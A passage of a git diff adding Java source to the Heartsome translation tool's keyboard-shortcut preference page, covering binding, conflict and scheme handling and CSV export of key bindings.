bindingManager.setBindings(bindingService.getBindings()); + return bindingManager; + } + + public ContextModel getContextModel() { + return contextModel; + } + + public SchemeModel getSchemeModel() { + return fSchemeModel; + } + + public BindingModel2 getBindingModel() { + return bindingModel; + } + + public ConflictModel2 getConflictModel() { + return conflictModel; + } + + private void addSetContextListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == contextModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + updateBindingContext((ContextElement) event.getNewValue()); + } + } + }); + } + + private void addSetBindingListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == bindingModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + BindingElement binding = (BindingElement) event.getNewValue(); +// Bug #2740 + if (binding == null || binding.getTrigger() == null) { + conflictModel.setSelectedElement(null); + return; + } + conflictModel.setSelectedElement(binding); + ContextElement context = binding.getContext(); + if (context != null) { + contextModel.setSelectedElement(context); + } + } + } + }); + } + + private void addSetConflictListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == conflictModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + if (event.getNewValue() != null) { + bindingModel.setSelectedElement((ModelElement) event.getNewValue()); + } + } + } + }); + } + + private void addSetKeySequenceListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (BindingElement.PROP_TRIGGER.equals(event.getProperty())) { +// Bug #2740 + if (((KeySequence) event.getNewValue()) != null) { + if (((KeySequence) event.getNewValue()).toString().endsWith("+")) { + return; + } else { + updateTrigger((BindingElement) event.getSource(), (KeySequence) event.getOldValue(), + (KeySequence) event.getNewValue()); + } + } + } + } + }); + } + + private void addSetModelObjectListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() instanceof BindingElement + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + if (event.getNewValue() != null) { + BindingElement element = (BindingElement) event.getSource(); + Object oldValue = event.getOldValue(); + Object newValue = event.getNewValue(); +// Bug #2740 å¿«æ·é”®--å¿«æ·é”®è®¾ç½®é—®é¢˜ + if (oldValue instanceof Binding && newValue instanceof Binding) { + conflictModel.updateConflictsFor(element, ((Binding) oldValue).getTriggerSequence(), + ((Binding) newValue).getTriggerSequence(), false); + } else if (oldValue instanceof Binding) { + conflictModel.updateConflictsFor(element, ((Binding) oldValue).getTriggerSequence(), + null, false); + } else if (newValue instanceof Binding) { + conflictModel.updateConflictsFor(element, null, + ((Binding) newValue).getTriggerSequence(), false); + } else { + conflictModel.updateConflictsFor(element, false); + } + + ContextElement context = element.getContext(); + if (context != null) { + contextModel.setSelectedElement(context); + } + } + } + } + }); + } + + private void addSetSchemeListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == fSchemeModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + changeScheme((SchemeElement) event.getOldValue(), (SchemeElement) event.getNewValue()); + } + } + }); + } + + /** + * @param oldScheme + * @param newScheme + */ + protected void changeScheme(SchemeElement oldScheme, SchemeElement newScheme) { + if (newScheme == null || newScheme.getModelObject() == fBindingManager.getActiveScheme()) { + return; + } + try { + fBindingManager.setActiveScheme((Scheme) newScheme.getModelObject()); + bindingModel.refresh(contextModel); + bindingModel.setSelectedElement(null); + } catch (NotDefinedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + } + + private void updateBindingContext(ContextElement context) { + if (context == null) { + return; + } + BindingElement activeBinding = (BindingElement) bindingModel.getSelectedElement(); + if (activeBinding == null) { + return; + } + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + Object obj = activeBinding.getModelObject(); + if (obj instanceof KeyBinding) { + KeyBinding keyBinding = (KeyBinding) obj; + if (!keyBinding.getContextId().equals(context.getId())) { + final KeyBinding binding = new KeyBinding(keyBinding.getKeySequence(), + keyBinding.getParameterizedCommand(), activeSchemeId, context.getId(), null, null, null, + Binding.USER); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + bindingModel.getBindingToElement().remove(activeBinding.getModelObject()); + + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + } + } + } + + /** + * @param activeBinding + * @param oldSequence + * @param keySequence + */ + public void updateTrigger(BindingElement activeBinding, KeySequence oldSequence, KeySequence keySequence) { + if (activeBinding == null) { + return; + } + Object obj = activeBinding.getModelObject(); + if (obj instanceof KeyBinding) { + KeyBinding keyBinding = (KeyBinding) obj; + if (!keyBinding.getKeySequence().equals(keySequence)) { + if (keySequence != null && !keySequence.isEmpty()) { + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + ModelElement selectedElement = contextModel.getSelectedElement(); + String activeContextId = selectedElement == null ? IContextService.CONTEXT_ID_WINDOW + : selectedElement.getId(); + final KeyBinding binding = new KeyBinding(keySequence, keyBinding.getParameterizedCommand(), + activeSchemeId, activeContextId, null, null, null, Binding.USER); + Map bindingToElement = bindingModel.getBindingToElement(); + bindingToElement.remove(keyBinding); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + + // Remove binding for any system conflicts + Object[] keys = bindingToElement.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + Binding bindingKey = (Binding) keys[i]; + if (oldSequence.equals(bindingKey.getTriggerSequence()) + && bindingKey.getType() == Binding.SYSTEM) { + BindingElement be = (BindingElement) bindingToElement.get(bindingKey); + bindingModel.remove(be); + } + } + + bindingModel.setSelectedElement(activeBinding); + } else { + bindingModel.getBindingToElement().remove(keyBinding); + if (keyBinding.getType() == Binding.USER) { + fBindingManager.removeBinding(keyBinding); + } else { + fBindingManager.addBinding(new KeyBinding(keyBinding.getKeySequence(), null, keyBinding + .getSchemeId(), keyBinding.getContextId(), null, null, null, Binding.USER)); + } + activeBinding.fill(keyBinding.getParameterizedCommand()); + } + } + } else if (obj instanceof ParameterizedCommand) { + ParameterizedCommand cmd = (ParameterizedCommand) obj; + if (keySequence != null && !keySequence.isEmpty()) { + String activeSchemeId = fSchemeModel.getSelectedElement().getId(); + ModelElement selectedElement = contextModel.getSelectedElement(); + String activeContextId = selectedElement == null ? IContextService.CONTEXT_ID_WINDOW : selectedElement + .getId(); + final KeyBinding binding = new KeyBinding(keySequence, cmd, activeSchemeId, activeContextId, null, + null, null, Binding.USER); + fBindingManager.addBinding(binding); + activeBinding.fill(binding, contextModel); + bindingModel.getBindingToElement().put(binding, activeBinding); + } + } + } + + /** + * Replaces all the current bindings with the bindings in the local copy of the binding manager. + * @param bindingService + * The binding service that saves the changes made to the local copy of the binding manager + */ + public void saveBindings(IBindingService bindingService) { + try { + bindingService.savePreferences(fBindingManager.getActiveScheme(), fBindingManager.getBindings()); + } catch (IOException e) { + logPreferenceStoreException(e); + } + } + + /** + * Logs the given exception, and opens an error dialog saying that something went wrong. The exception is assumed to + * have something to do with the preference store. + * @param exception + * The exception to be logged; must not be null. + */ + private final void logPreferenceStoreException(final Throwable exception) { + final String message = NewKeysPreferenceMessages.PreferenceStoreError_Message; + String exceptionMessage = exception.getMessage(); + if (exceptionMessage == null) { + exceptionMessage = message; + } + final IStatus status = new Status(IStatus.ERROR, WorkbenchPlugin.PI_WORKBENCH, 0, exceptionMessage, exception); + WorkbenchPlugin.log(message, status); + StatusUtil.handleStatus(message, exception, StatusManager.SHOW); + } + + /** + * Filters contexts for the When Combo. + * @param actionSets + * true to filter action set contexts + * @param internal + * true to filter internal contexts + * @param workbenchMenu + * true to filter Workbench Menu Context + */ + public void filterContexts(boolean actionSets, boolean internal, boolean workbenchMenu) { + contextModel.filterContexts(actionSets, internal, workbenchMenu); + } + + /** + * Sets the bindings to default. + * @param bindingService + * @throws NotDefinedException + */ + public void setDefaultBindings(IBindingService bindingService, List lstRemove) throws NotDefinedException { + // Fix the scheme in the local changes. + final String defaultSchemeId = bindingService.getDefaultSchemeId(); + final Scheme defaultScheme = fBindingManager.getScheme(defaultSchemeId); + try { + fBindingManager.setActiveScheme(defaultScheme); + } catch (final NotDefinedException e) { + // At least we tried.... + } + + // Restore any User defined bindings + Binding[] bindings = fBindingManager.getBindings(); + for (int i = 0; i < bindings.length; i++) { + ParameterizedCommand pCommand = bindings[i].getParameterizedCommand(); + String commandId = null; + if (pCommand != null) { + commandId = pCommand.getCommand().getId(); + } + if (bindings[i].getType() == Binding.USER || (commandId != null && lstRemove.contains(commandId))) { + fBindingManager.removeBinding(bindings[i]); + } + } + bindingModel.refresh(contextModel, lstRemove); + saveBindings(bindingService); + } + + public void exportCSV(Shell shell) { + final FileDialog fileDialog = new FileDialog(shell, SWT.SAVE | SWT.SHEET); + fileDialog.setFilterExtensions(new String[] { "*.csv" }); //$NON-NLS-1$ + fileDialog.setFilterNames(new String[] { Util.translateString(RESOURCE_BUNDLE, "csvFilterName") }); //$NON-NLS-1$ + fileDialog.setOverwrite(true); + final String filePath = fileDialog.open(); + if (filePath == null) { + return; + } + + final SafeRunnable runnable = new SafeRunnable() { + public final void run() throws IOException { + Writer fileWriter = null; + try { + fileWriter = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(filePath), "UTF-8")); //$NON-NLS-1$ + final Object[] bindingElements = bindingModel.getBindings().toArray(); + for (int i = 0; i < bindingElements.length; i++) { + final BindingElement be = (BindingElement) bindingElements[i]; + if (be.getTrigger() == null || be.getTrigger().isEmpty() || be.getContext() == null + || be.getContext().getName() == null) { + continue; + } + StringBuffer buffer = new StringBuffer(); + buffer.append(ESCAPED_QUOTE + Util.replaceAll(be.getCategory(), ESCAPED_QUOTE, REPLACEMENT) + + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getName() + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getTrigger().format() + ESCAPED_QUOTE + DELIMITER); + buffer.append(ESCAPED_QUOTE + be.getContext().getName() + ESCAPED_QUOTE); + buffer.append(System.getProperty("line.separator")); //$NON-NLS-1$ + fileWriter.write(buffer.toString()); + } + + } finally { + if (fileWriter != null) { + try { + fileWriter.close(); + } catch (final IOException e) { + // At least I tried. + } + } + + } + } + }; + SafeRunner.run(runnable); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeysPreferencePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeysPreferencePage.java new file mode 100644 index 0000000..77c3376 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/preferencepage/KeysPreferencePage.java @@ -0,0 +1,882 @@ +package net.heartsome.cat.ts.ui.preferencepage; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.resource.ImageConstant; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.commands.Category; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.commands.util.Tracing; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.jface.bindings.keys.KeySequenceText; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.resource.DeviceResourceException; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.resource.LocalResourceManager; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.CellEditor; +import org.eclipse.jface.viewers.ColumnViewer; +import org.eclipse.jface.viewers.EditingSupport; +import org.eclipse.jface.viewers.IBaseLabelProvider; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TextCellEditor; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.TreeViewerColumn; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeColumn; +import org.eclipse.swt.widgets.TreeItem; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferenceConstants; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandImageService; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.dialogs.FilteredTree; +import org.eclipse.ui.internal.IWorkbenchHelpContextIds; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.keys.NewKeysPreferenceMessages; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.ModelElement; +import org.eclipse.ui.internal.keys.model.SchemeModel; +import org.eclipse.ui.internal.misc.Policy; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.keys.IBindingService; + +/** + * å¿«æ·é”®é¦–选项页é¢ï¼Œè¯¥ç±»ä¸Ž org.eclipse.ui.internal.keys.NewKeysPreferencePage 类似,åªæ˜¯åœ¨åŽŸæ¥çš„基础上修改了界é¢ã€‚ + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings({ "restriction", "unchecked", "rawtypes", "unused" }) +public class KeysPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private static boolean DEBUG = Policy.DEBUG_KEY_BINDINGS; + + private static final String TRACING_COMPONENT = "NewKeysPref"; + + public final static String TAG_DIALOG_SECTION = "org.eclipse.ui.preferences.keysPreferencePage"; + + private static final String TAG_FILTER_ACTION_SETS = "actionSetFilter"; //$NON-NLS-1$ + + private static final String TAG_FILTER_INTERNAL = "internalFilter"; //$NON-NLS-1$ + + private static final String TAG_FILTER_UNCAT = "uncategorizedFilter"; //$NON-NLS-1$ + + private boolean fFilterActionSetContexts = true; + + private boolean fFilterInternalContexts = true; + + private CategoryPatternFilter fPatternFilter; + + private CategoryFilterTree fFilteredTree; + + private Category fDefaultCategory; + + /** + * The number of items to show in the bindings table tree. + */ + private static final int ITEMS_TO_SHOW = 7; + + private static final int COMMAND_NAME_COLUMN = 0; + private static final int KEY_SEQUENCE_COLUMN = 1; + private static final int CATEGORY_COLUMN = 2; + private static int NUM_OF_COLUMNS = CATEGORY_COLUMN + 1; + + private KeyController2 keyController; + + private ICommandImageService commandImageService; + + private ICommandService commandService; + + private IBindingService fBindingService; + + private KeySequenceText fKeySequenceText; + + private TreeViewer viewer; + + protected class CategoryFilterTree extends FilteredTree { + + private CategoryPatternFilter filter; + + /** + * Constructor for PatternFilteredTree. + * @param parent + * @param treeStyle + * @param filter + */ + protected CategoryFilterTree(Composite parent, int treeStyle, CategoryPatternFilter filter) { + super(parent, treeStyle, filter, true); + this.filter = filter; + } + + public void filterCategories(boolean b) { + filter.filterCategories(b); + textChanged(); + } + + public boolean isFilteringCategories() { + return filter.isFilteringCategories(); + } + } + + private final class BindingModelComparator extends ViewerComparator { + private LinkedList sortColumns = new LinkedList(); + private boolean ascending = true; + + public BindingModelComparator() { + for (int i = 0; i < NUM_OF_COLUMNS; i++) { + sortColumns.add(new Integer(i)); + } + } + + public int getSortColumn() { + return ((Integer) sortColumns.getFirst()).intValue(); + } + + public void setSortColumn(int column) { + if (column == getSortColumn()) { + return; + } + Integer sortColumn = new Integer(column); + sortColumns.remove(sortColumn); + sortColumns.addFirst(sortColumn); + } + + /** + * @return Returns the ascending. + */ + public boolean isAscending() { + return ascending; + } + + /** + * @param ascending + * The ascending to set. + */ + public void setAscending(boolean ascending) { + this.ascending = ascending; + } + + public final int compare(final Viewer viewer, final Object a, final Object b) { + int result = 0; + Iterator i = sortColumns.iterator(); + while (i.hasNext() && result == 0) { + int column = ((Integer) i.next()).intValue(); + result = compareColumn(viewer, a, b, column); + } + return ascending ? result : (-1) * result; + } + + private int compareColumn(final Viewer viewer, final Object a, final Object b, final int columnNumber) { + // if (columnNumber == CATEGORY_COLUMN) { + // return sortUser(a, b); + // } + IBaseLabelProvider baseLabel = ((TreeViewer) viewer).getLabelProvider(); + if (baseLabel instanceof ITableLabelProvider) { + ITableLabelProvider tableProvider = (ITableLabelProvider) baseLabel; + String e1p = tableProvider.getColumnText(a, columnNumber); + String e2p = tableProvider.getColumnText(b, columnNumber); + if (e1p != null && e2p != null) { + return getComparator().compare(e1p, e2p); + } + } + return 0; + } + + private int sortUser(final Object a, final Object b) { + int typeA = ((BindingElement) a).getUserDelta().intValue(); + int typeB = ((BindingElement) b).getUserDelta().intValue(); + int result = typeA - typeB; + return result; + } + + } + + private final class ResortColumn extends SelectionAdapter { + private final BindingModelComparator comparator; + private final TreeColumn treeColumn; + private final TreeViewer viewer; + private final int column; + + private ResortColumn(BindingModelComparator comparator, TreeColumn treeColumn, TreeViewer viewer, int column) { + this.comparator = comparator; + this.treeColumn = treeColumn; + this.viewer = viewer; + this.column = column; + } + + public void widgetSelected(SelectionEvent e) { + if (comparator.getSortColumn() == column) { + comparator.setAscending(!comparator.isAscending()); + viewer.getTree().setSortDirection(comparator.isAscending() ? SWT.UP : SWT.DOWN); + } else { + viewer.getTree().setSortColumn(treeColumn); + comparator.setSortColumn(column); + } + try { + viewer.getTree().setRedraw(false); + viewer.refresh(); + changeBackground(); + } finally { + viewer.getTree().setRedraw(true); + } + } + } + + private void changeBackground() { + for (TreeItem item : viewer.getTree().getItems()) { + BindingElement element = (BindingElement) item.getData(); + if (element.getConflict()) { + item.setBackground(Display.getDefault().getSystemColor(SWT.COLOR_RED)); + } else { + item.setBackground(null); + } + } + } + + private List lstRemove = Constants.lstRemove; + + class ModelContentProvider implements ITreeContentProvider { + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof BindingModel) { + HashSet set = ((BindingModel) parentElement).getBindings(); + Iterator iterator = set.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())){ +// bindingElement.setTrigger(null); + + iterator.remove(); + } + + } + return set.toArray(); + } + if (parentElement instanceof ContextModel) { + return ((ContextModel) parentElement).getContexts().toArray(); + } + if (parentElement instanceof SchemeModel) { + return ((SchemeModel) parentElement).getSchemes().toArray(); + } + if (parentElement instanceof BindingElement) { + BindingElement bindingElement = (BindingElement) parentElement; + if (lstRemove.contains(bindingElement.getId())){ +// bindingElement.setTrigger(null); + return new Object[0]; + } else { + return new BindingElement[]{bindingElement}; + } + } + return new Object[0]; + } + + public Object getParent(Object element) { + return ((ModelElement) element).getParent(); + } + + public boolean hasChildren(Object element) { + return (element instanceof BindingModel) || (element instanceof ContextModel) + || (element instanceof SchemeModel); + } + + public Object[] getElements(Object inputElement) { + return getChildren(inputElement); + } + + public void dispose() { + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + } + + } + + private class BindingElementLabelProvider extends LabelProvider implements ITableLabelProvider { + /** + * A resource manager for this preference page. + */ + private final LocalResourceManager localResourceManager = new LocalResourceManager( + JFaceResources.getResources()); + + public final void dispose() { + super.dispose(); + localResourceManager.dispose(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.LabelProvider#getText(java.lang.Object) + */ + public String getText(Object element) { + String rc = getColumnText(element, 0); + if (rc == null) { + super.getText(element); + } + StringBuffer buf = new StringBuffer(rc); + for (int i = 1; i < CATEGORY_COLUMN; i++) { + String text = getColumnText(element, i); + if (text != null) { + buf.append(' '); + buf.append(text); + } + } + return buf.toString(); + } + + public String getColumnText(Object element, int index) { + BindingElement bindingElement = ((BindingElement) element); + switch (index) { + case COMMAND_NAME_COLUMN: {// name + String name = bindingElement.getName(); + if (name != null && name.endsWith("()")) { + name = name.substring(0, name.length() - 2); + } + return name; + } + case KEY_SEQUENCE_COLUMN: // keys + TriggerSequence seq = bindingElement.getTrigger(); + return seq == null ? Util.ZERO_LENGTH_STRING : seq.format(); + case CATEGORY_COLUMN: // category + String id = bindingElement.getId(); + if (id.equalsIgnoreCase("net.heartsome.cat.ts.command.preference")) { + return Messages.getString("preferencepage.KeysPreferencePage.toolCategory"); + } else if (id.equalsIgnoreCase("org.eclipse.ui.window.lockToolBar")) { + return Messages.getString("preferencepage.KeysPreferencePage.toolbarCategory"); + } else if (id.equalsIgnoreCase("org.eclipse.ui.window.showKeyAssist")) { + return Messages.getString("preferencepage.KeysPreferencePage.helpCategory"); + } + return bindingElement.getCategory(); + } + return null; + } + + public Image getColumnImage(Object element, int index) { + BindingElement be = (BindingElement) element; + switch (index) { + case COMMAND_NAME_COLUMN: + final String commandId = be.getId(); + final ImageDescriptor imageDescriptor = commandImageService.getImageDescriptor(commandId); + if (imageDescriptor == null) { + return null; + } + try { + return localResourceManager.createImage(imageDescriptor); + } catch (final DeviceResourceException e) { + final String message = "Problem retrieving image for a command '" //$NON-NLS-1$ + + commandId + '\''; + final IStatus status = new Status(IStatus.ERROR, WorkbenchPlugin.PI_WORKBENCH, 0, message, e); + WorkbenchPlugin.log(message, status); + } + return null; + } + + return null; + } + } + + private BindingModel model; + + public void init(IWorkbench workbench) { + keyController = new KeyController2(); + keyController.init(workbench, lstRemove); + model = keyController.getBindingModel(); + + commandService = (ICommandService) workbench.getService(ICommandService.class); + Collection definedCommandIds = commandService.getDefinedCommandIds(); + + fDefaultCategory = commandService.getCategory(null); + fBindingService = (IBindingService) workbench.getService(IBindingService.class); + + commandImageService = (ICommandImageService) workbench.getService(ICommandImageService.class); + } + + @Override + protected Control createContents(Composite parent) { + PlatformUI.getWorkbench().getHelpSystem().setHelp(parent, IWorkbenchHelpContextIds.KEYS_PREFERENCE_PAGE); + final Composite page = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + page.setLayout(layout); + + Group groupParent = new Group(page, SWT.None); + groupParent.setLayout(new GridLayout()); + groupParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + groupParent.setText(Messages.getString("preferencepage.KeysPreferencePage.groupParent")); + + HsImageLabel imageLabel = new HsImageLabel(Messages.getString("preferencepage.KeysPreferencePage.imageLabel"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_KEY)); + Composite cmp = imageLabel.createControl(groupParent); + cmp.setLayout(new GridLayout()); + Composite cmpTemp = (Composite) imageLabel.getControl(); + cmpTemp.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpContent = new Composite(cmpTemp, SWT.None); + cmpContent.setLayout(new GridLayout()); + GridData data = new GridData(GridData.FILL_BOTH); + data.horizontalSpan = 2; + cmpContent.setLayoutData(data); + + // ä¸æ˜¾ç¤ºè¿‡æ»¤æ–‡æœ¬æ¡† + PlatformUI.getPreferenceStore().setDefault(IWorkbenchPreferenceConstants.SHOW_FILTERED_TEXTS, false); + + IDialogSettings settings = getDialogSettings(); + + fPatternFilter = new CategoryPatternFilter(true, commandService.getCategory(null)); + if (settings.get(TAG_FILTER_UNCAT) != null) { + fPatternFilter.filterCategories(settings.getBoolean(TAG_FILTER_UNCAT)); + } + + createTree(cmpContent); + + fill(); + + applyDialogFont(cmpContent); + imageLabel.computeSize(); + return page; + } + + private void fill() { + // Apply context filters + keyController.filterContexts(true, true, true); + + fFilteredTree.filterCategories(fPatternFilter.isFilteringCategories()); + + fFilteredTree.getViewer().setInput(model); + changeBackground(); + } + + private void createTree(Composite parent) { + fPatternFilter = new CategoryPatternFilter(true, fDefaultCategory); + fPatternFilter.filterCategories(true); + + GridData gridData; + + fFilteredTree = new CategoryFilterTree(parent, SWT.SINGLE | SWT.BORDER | SWT.FULL_SELECTION, fPatternFilter); + final GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + fFilteredTree.setLayout(layout); + gridData = new GridData(); + gridData.grabExcessHorizontalSpace = true; + gridData.grabExcessVerticalSpace = true; + gridData.horizontalAlignment = SWT.FILL; + gridData.verticalAlignment = SWT.FILL; + fFilteredTree.setLayoutData(gridData); + + viewer = fFilteredTree.getViewer(); + // Make sure the filtered tree has a height of ITEMS_TO_SHOW + final Tree tree = viewer.getTree(); + tree.setHeaderVisible(true); + final Object layoutData = tree.getLayoutData(); + if (layoutData instanceof GridData) { + gridData = (GridData) layoutData; + final int itemHeight = tree.getItemHeight(); + if (itemHeight > 1) { + gridData.heightHint = ITEMS_TO_SHOW * itemHeight; + } + } + + BindingModelComparator comparator = new BindingModelComparator(); + comparator.setSortColumn(2); + viewer.setComparator(comparator); + + final TreeColumn commandNameColumn = new TreeColumn(tree, SWT.LEFT, COMMAND_NAME_COLUMN); + commandNameColumn.setText(Messages.getString("preferencepage.KeysPreferencePage.commandNameColumn")); + tree.setSortColumn(commandNameColumn); + tree.setSortDirection(comparator.isAscending() ? SWT.UP : SWT.DOWN); + commandNameColumn.addSelectionListener(new ResortColumn(comparator, commandNameColumn, viewer, + COMMAND_NAME_COLUMN)); + + final TreeViewerColumn triggerSequenceColumn = new TreeViewerColumn(viewer, SWT.LEFT, KEY_SEQUENCE_COLUMN); + triggerSequenceColumn.getColumn().setText( + Messages.getString("preferencepage.KeysPreferencePage.triggerSequenceColumn")); + triggerSequenceColumn.getColumn().addSelectionListener( + new ResortColumn(comparator, triggerSequenceColumn.getColumn(), viewer, KEY_SEQUENCE_COLUMN)); + triggerSequenceColumn.setEditingSupport(new TableViewerEditingSupport(viewer, 1)); + + final TreeColumn categoryColumn = new TreeColumn(tree, SWT.LEFT, CATEGORY_COLUMN); + categoryColumn.setText(Messages.getString("preferencepage.KeysPreferencePage.categoryColumn")); + categoryColumn.addSelectionListener(new ResortColumn(comparator, categoryColumn, viewer, CATEGORY_COLUMN)); + + viewer.setContentProvider(new ModelContentProvider()); + viewer.setLabelProvider(new BindingElementLabelProvider()); + + fFilteredTree.getPatternFilter().setIncludeLeadingWildcard(true); + final TreeColumn[] columns = viewer.getTree().getColumns(); + + columns[COMMAND_NAME_COLUMN].setWidth(240); + columns[KEY_SEQUENCE_COLUMN].setWidth(130); + columns[CATEGORY_COLUMN].setWidth(130); + + viewer.addSelectionChangedListener(new ISelectionChangedListener() { + + // When the viewer changes selection, update the model's current + // selection + public void selectionChanged(SelectionChangedEvent event) { + changeBackground(); + ModelElement binding = (ModelElement) ((IStructuredSelection) event.getSelection()).getFirstElement(); + model.setSelectedElement(binding); + } + }); + + IPropertyChangeListener treeUpdateListener = new IPropertyChangeListener() { + + // When the model changes a property, update the viewer + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == model + && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + Object newVal = event.getNewValue(); + StructuredSelection structuredSelection = newVal == null ? null : new StructuredSelection(newVal); + viewer.setSelection(structuredSelection, true); + } else if (event.getSource() instanceof BindingElement + && ModelElement.PROP_MODEL_OBJECT.equals(event.getProperty())) { + viewer.update(event.getSource(), null); + } else if (BindingElement.PROP_CONFLICT.equals(event.getProperty())) { + viewer.update(event.getSource(), null); + } else if (BindingModel.PROP_BINDINGS.equals(event.getProperty())) { + // viewer.refresh(); + } else if (BindingModel.PROP_BINDING_ADD.equals(event.getProperty())) { + viewer.add(model, event.getNewValue()); + } else if (BindingModel.PROP_BINDING_REMOVE.equals(event.getProperty())) { + viewer.remove(event.getNewValue()); + } else if (BindingModel.PROP_BINDING_FILTER.equals(event.getProperty())) { + // viewer.refresh(); + } + changeBackground(); + // isValid(); + } + }; + keyController.addPropertyChangeListener(treeUpdateListener); + + // IPropertyChangeListener conflictsListener = new IPropertyChangeListener() { + // public void propertyChange(PropertyChangeEvent event) { + // // System.out.println(event.getNewValue().getClass()); + // if (keyController.getConflictModel().getConflicts() != null) { + // if 